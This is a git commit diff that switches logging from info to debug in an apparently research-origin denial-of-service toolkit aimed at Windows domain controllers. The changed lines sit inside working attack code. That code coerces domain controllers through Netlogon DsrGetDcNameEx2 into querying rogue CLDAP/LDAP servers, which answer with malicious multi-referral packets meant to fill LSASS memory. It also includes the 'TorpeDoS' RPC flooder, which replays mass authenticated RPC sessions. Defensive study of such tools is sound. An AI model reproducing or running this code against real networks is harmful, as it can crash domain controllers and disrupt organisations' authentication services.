refactor: change logging level from info to debug for detailed tracing

This commit is contained in:
shmctl
2025-08-10 18:36:05 +03:00
parent 09f9eee99a
commit 9af67cbbba
4 changed files with 48 additions and 48 deletions
+8 -8
View File
@@ -24,13 +24,13 @@ def call_dsr_get_dc_name_ex2(target_ip: str, port: int, account: str, site_name:
rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]')
dce = rpctransport.get_dce_rpc()
dce.connect()
logger.info(f"Connected to {target_ip}:{port}")
logger.debug(f"Connected to {target_ip}:{port}")
try:
dce.bind(nrpc.MSRPC_UUID_NRPC)
except DCERPCException:
logger.error("Failed to bind to NRPC interface!")
logger.info("This might be because the target is doesn't have netlogon service running.")
logger.debug("This might be because the target is doesn't have netlogon service running.")
raise
request = nrpc.DsrGetDcNameEx2()
@@ -42,7 +42,7 @@ def call_dsr_get_dc_name_ex2(target_ip: str, port: int, account: str, site_name:
request['SiteName'] = site_name + NULL
request['Flags'] = 0
logger.info("Sending DsrGetDcNameEx2 request...")
logger.debug("Sending DsrGetDcNameEx2 request...")
dce.call(request.opnum, request)
dce.disconnect()
@@ -88,7 +88,7 @@ def trigger_dcs_to_become_cldap_clients(
"""
threads = []
for target_ip in target_ips:
logger.info(f"Recruiting a DoS soldier {target_ip}")
logger.debug(f"Recruiting a DoS soldier {target_ip}")
thread = threading.Thread(
@@ -235,7 +235,7 @@ def main():
"""
args = parse_arguments()
logger.info("Starting to recruit DoS soldiers")
logger.debug("Starting to recruit DoS soldiers")
# Start servers
udp_server_thread = start_udp_server(args.listen_port, args.tcp_ldap_url)
@@ -245,7 +245,7 @@ def main():
tcp_server_thread = start_tcp_server(args.listen_port, args.req_count, f"{str(uuid.uuid4())}.com")
# Wait for servers to start
logger.info("Waiting for servers to start...")
logger.debug("Waiting for servers to start...")
time.sleep(2)
start_time = time.time()
@@ -254,12 +254,12 @@ def main():
trigger_dcs_to_become_cldap_clients(args.dos_soldiers, args.domain_name)
elif args.mode == "dos":
# Perform a single target DoS attack
logger.info(f"Starting DoS attack on {args.target} with domain {args.domain_name}")
logger.debug(f"Starting DoS attack on {args.target} with domain {args.domain_name}")
while True:
try:
fill_remote_lsass_process_memory(args.target, args.domain_name)
except KeyboardInterrupt:
logger.info("Keyboard interrupt detected, stopping DoS attack")
logger.debug("Keyboard interrupt detected, stopping DoS attack")
break
# Calculate and display total execution time
+10 -10
View File
@@ -61,7 +61,7 @@ def handle_connection(conn, addr, count, dos_victim_url):
referrals = [f'ldap://{str(uuid.uuid4())}.{dos_victim_url}' for _ in range(count)]
buffer = bytearray()
logger.info(f"NetLogon connected from {addr}")
logger.debug(f"NetLogon connected from {addr}")
while True:
data = conn.recv(4096)
@@ -82,10 +82,10 @@ def handle_connection(conn, addr, count, dos_victim_url):
del buffer[:length_consumed]
request = ldap_message.value
logger.info("Received LDAP request from NetLogon")
logger.debug("Received LDAP request from NetLogon")
if isinstance(request, pureldap.LDAPBindRequest):
logger.info("Processing LDAP bind request")
logger.debug("Processing LDAP bind request")
bind_response = pureldap.LDAPBindResponse(
resultCode=0,
@@ -98,33 +98,33 @@ def handle_connection(conn, addr, count, dos_victim_url):
)
response_bytes = response_message.toWire()
logger.info(f"Sending LDAP bind success response to {addr}")
logger.debug(f"Sending LDAP bind success response to {addr}")
conn.sendall(response_bytes)
else:
logger.info("Processing non-bind LDAP request as malicious referral")
logger.debug("Processing non-bind LDAP request as malicious referral")
vulnerable_ldap_packet = get_multi_referral_ldap_packet(ldap_message.id, referrals)
logger.info(f"Sending malicious LDAP response packet to {addr}")
logger.debug(f"Sending malicious LDAP response packet to {addr}")
conn.sendall(vulnerable_ldap_packet)
conn.close()
logger.info("Connection closed")
logger.debug("Connection closed")
def run_server(listen_port: int, count: int, dos_victim_url: str):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', listen_port))
server_socket.listen(5)
logger.info(f"TCP LDAP server listening on 0.0.0.0:{listen_port}")
logger.debug(f"TCP LDAP server listening on 0.0.0.0:{listen_port}")
try:
while True:
conn, addr = server_socket.accept()
threading.Thread(target=handle_connection, args=(conn, addr, count, dos_victim_url)).start()
except KeyboardInterrupt:
logger.info("Server shutting down due to KeyboardInterrupt")
logger.debug("Server shutting down due to KeyboardInterrupt")
finally:
server_socket.close()
logger.info("Server has been shut down.")
logger.debug("Server has been shut down.")
+4 -4
View File
@@ -54,12 +54,12 @@ def answer_request_with_referral(data: bytes, addr, sock: socket.socket, tcp_lda
# Parse the received data
ldap_message, _ = pureber.berDecodeObject(berdecoder, data)
logger.info(f"Received LDAP request from NetLogon {addr}")
logger.debug(f"Received LDAP request from NetLogon {addr}")
# Build the "vulnerable" response packet
referral_ldap_packet = get_referral_to_tcp_server_ldap_packet(ldap_message.id, tcp_ldap_url=tcp_ldap_url)
logger.info(f"Sending LDAP referral response packet to {addr}: {referral_ldap_packet}")
logger.debug(f"Sending LDAP referral response packet to {addr}: {referral_ldap_packet}")
# Send back to client
sock.sendto(referral_ldap_packet, addr)
@@ -67,13 +67,13 @@ def answer_request_with_referral(data: bytes, addr, sock: socket.socket, tcp_lda
def run_server(listen_port: int, tcp_ldap_url: str):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', listen_port))
logger.info(f"Server listening on port {listen_port}")
logger.debug(f"Server listening on port {listen_port}")
try:
while True:
data, addr = sock.recvfrom(4096)
answer_request_with_referral(data, addr, sock, tcp_ldap_url)
except KeyboardInterrupt:
logger.info("Server has been shut down.")
logger.debug("Server has been shut down.")
finally:
sock.close()
+26 -26
View File
@@ -83,7 +83,7 @@ def parse_cli_arguments():
help="Number of worker threads per stage (default: 16)"
)
args = parser.parse_args()
logger.info(f"Parsed arguments: target={args.target_host}, replay_count={args.replay_count}, iterations={args.iterations}, workers={args.worker_count}")
logger.debug(f"Parsed arguments: target={args.target_host}, replay_count={args.replay_count}, iterations={args.iterations}, workers={args.worker_count}")
return args
class CustomSigningDCERPC(transport.DCERPC_v5):
@@ -116,7 +116,7 @@ def load_packet_file(file_path):
Raises:
ValueError: If UUID or VERSION headers are missing in the file.
"""
logger.info(f"Loading packet file: {file_path}")
logger.debug(f"Loading packet file: {file_path}")
interface_uuid = None
version = None
requires_authentication = False
@@ -125,20 +125,20 @@ def load_packet_file(file_path):
for line in file_path.read_text().splitlines():
if line.startswith("# UUID:"):
interface_uuid = line.split(":", 1)[1].strip()
logger.info(f"Found UUID: {interface_uuid}")
logger.debug(f"Found UUID: {interface_uuid}")
elif line.startswith("# VERSION:"):
version = line.split(":", 1)[1].strip()
logger.info(f"Found version: {version}")
logger.debug(f"Found version: {version}")
elif line.startswith("# AUTH:"):
requires_authentication = line.split(":", 1)[1].strip().lower() == "yes"
logger.info(f"Authentication required: {requires_authentication}")
logger.debug(f"Authentication required: {requires_authentication}")
elif line and not line.startswith("#"):
packets.append(binascii.a2b_hex(line.strip()))
if not interface_uuid or not version:
raise ValueError(f"Missing UUID or VERSION header in {file_path}")
logger.info(f"Loaded {len(packets)} packets from {file_path}")
logger.debug(f"Loaded {len(packets)} packets from {file_path}")
return (interface_uuid, version), requires_authentication, packets
def resolve_rpc_port(server_ip, interface_uuid_bin):
@@ -152,7 +152,7 @@ def resolve_rpc_port(server_ip, interface_uuid_bin):
Returns:
str or None: Resolved TCP port as a string, or None if resolution fails.
"""
logger.info(f"Resolving RPC port for {server_ip} with UUID {interface_uuid_bin.hex()}")
logger.debug(f"Resolving RPC port for {server_ip} with UUID {interface_uuid_bin.hex()}")
rpc_transport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{server_ip}[135]")
dce = rpc_transport.get_dce_rpc()
dce.connect()
@@ -161,7 +161,7 @@ def resolve_rpc_port(server_ip, interface_uuid_bin):
server_ip, interface_uuid_bin, protocol='ncacn_ip_tcp'
)
port = binding_string.split("[")[1].rstrip("]")
logger.info(f"Resolved RPC port: {port}")
logger.debug(f"Resolved RPC port: {port}")
return port
except Exception as e:
logger.error(f"Failed to resolve RPC port: {e}")
@@ -178,7 +178,7 @@ def rpc_stateless_bind(dce, rpc_transport, iface_uuid):
rpc_transport: Transport object for the connection.
iface_uuid (bytes): Binary UUID of the target interface.
"""
logger.info(f"Initiating stateless bind for interface UUID {iface_uuid.hex()}")
logger.debug(f"Initiating stateless bind for interface UUID {iface_uuid.hex()}")
bind = MSRPCBind()
ctx = dce._ctx
item = CtxItem()
@@ -194,7 +194,7 @@ def rpc_stateless_bind(dce, rpc_transport, iface_uuid):
packet['call_id'] = 1
rpc_transport.send(packet.get_packet())
logger.info("Stateless bind packet sent")
logger.debug("Stateless bind packet sent")
def replay_packets_for_interface(
server_ip, rpc_port, interface_info, packet_list,
@@ -219,7 +219,7 @@ def replay_packets_for_interface(
"""
rpc_sessions = [] # List of (dce, transport) tuples
signature_map = {} # socket -> list of signature bytes
logger.info(f"Starting replay for interface {interface_info[0]}@v{interface_info[1]}, "
logger.debug(f"Starting replay for interface {interface_info[0]}@v{interface_info[1]}, "
f"auth={'yes' if requires_authentication else 'no'}, file={packet_filename}, "
f"sessions={replay_count}, workers={worker_count}")
@@ -316,7 +316,7 @@ def replay_packets_for_interface(
]
try:
sock.send(b"".join(current_packet_list))
logger.info(f"Successfully sent {len(current_packet_list)} packets")
logger.debug(f"Successfully sent {len(current_packet_list)} packets")
except Exception as err:
logger.error(f"Failed to send packets: {err}")
with lock:
@@ -332,7 +332,7 @@ def replay_packets_for_interface(
worker_fn (callable): Worker function to execute.
args (tuple): Arguments to pass to the worker function.
"""
logger.info(f"Starting {count} worker threads for {worker_fn.__name__}")
logger.debug(f"Starting {count} worker threads for {worker_fn.__name__}")
threads = [
threading.Thread(target=worker_fn, args=args, daemon=True)
for _ in range(count)
@@ -341,10 +341,10 @@ def replay_packets_for_interface(
thread.start()
for thread in threads:
thread.join()
logger.info(f"All {count} worker threads completed")
logger.debug(f"All {count} worker threads completed")
# Stage 1: Establish sessions (bind)
logger.info("Stage 1: Establishing bind sessions")
logger.debug("Stage 1: Establishing bind sessions")
bind_queue = Queue()
bind_lock = threading.Lock()
for _ in range(replay_count):
@@ -356,11 +356,11 @@ def replay_packets_for_interface(
(bind_queue, bind_bar, bind_lock)
)
bind_bar.close()
logger.info(f"Established {len(rpc_sessions)} sessions")
logger.debug(f"Established {len(rpc_sessions)} sessions")
# Stage 2: Generate signatures (if needed)
if requires_authentication:
logger.info("Stage 2: Generating NTLM signatures")
logger.debug("Stage 2: Generating NTLM signatures")
sign_queue = Queue()
sign_lock = threading.Lock()
for session in rpc_sessions:
@@ -372,10 +372,10 @@ def replay_packets_for_interface(
(sign_queue, sign_bar, sign_lock)
)
sign_bar.close()
logger.info(f"Generated signatures for {len(signature_map)} sessions")
logger.debug(f"Generated signatures for {len(signature_map)} sessions")
# Stage 3: Send RPC calls
logger.info("Stage 3: Sending RPC packets")
logger.debug("Stage 3: Sending RPC packets")
call_queue = Queue()
call_lock = threading.Lock()
for _, rpc_transport in rpc_sessions:
@@ -388,10 +388,10 @@ def replay_packets_for_interface(
(signature_map, call_queue, call_bar, call_lock)
)
call_bar.close()
logger.info(f"Completed sending packets for {len(rpc_sessions)} sessions")
logger.debug(f"Completed sending packets for {len(rpc_sessions)} sessions")
# Cleanup: Disconnect sessions
logger.info("Cleaning up: Disconnecting sessions")
logger.debug("Cleaning up: Disconnecting sessions")
for _, rpc_transport in rpc_sessions:
try:
rpc_transport.disconnect()
@@ -403,11 +403,11 @@ def main():
"""
Main entry point for the TorpeDoS RPC flooder tool. Coordinates argument parsing, packet loading, port resolution, and attack execution.
"""
logger.info("Starting TorpeDoS RPC Flooder")
logger.debug("Starting TorpeDoS RPC Flooder")
start_time = datetime.now()
args = parse_cli_arguments()
pkt_file = Path(args.packets_file)
logger.info(f"Packet file path: {pkt_file}")
logger.debug(f"Packet file path: {pkt_file}")
interface_info, requires_auth, packets = load_packet_file(pkt_file)
if requires_auth and not (args.username and args.password and args.domain):
@@ -424,7 +424,7 @@ def main():
return
for i in range(args.iterations):
logger.info(f"Starting iteration {i + 1}/{args.iterations}")
logger.debug(f"Starting iteration {i + 1}/{args.iterations}")
replay_packets_for_interface(
server_ip=args.target_host,
username=args.username,
@@ -439,11 +439,11 @@ def main():
packet_filename=pkt_file.name
)
if i + 1 != args.iterations:
logger.info(f"Waiting {args.delay_between_iterations} seconds before next iteration")
logger.debug(f"Waiting {args.delay_between_iterations} seconds before next iteration")
time.sleep(args.delay_between_iterations)
end_time = datetime.now()
logger.info(f"Attack completed. Total duration: {end_time - start_time}")
logger.debug(f"Attack completed. Total duration: {end_time - start_time}")
if __name__ == "__main__":
main()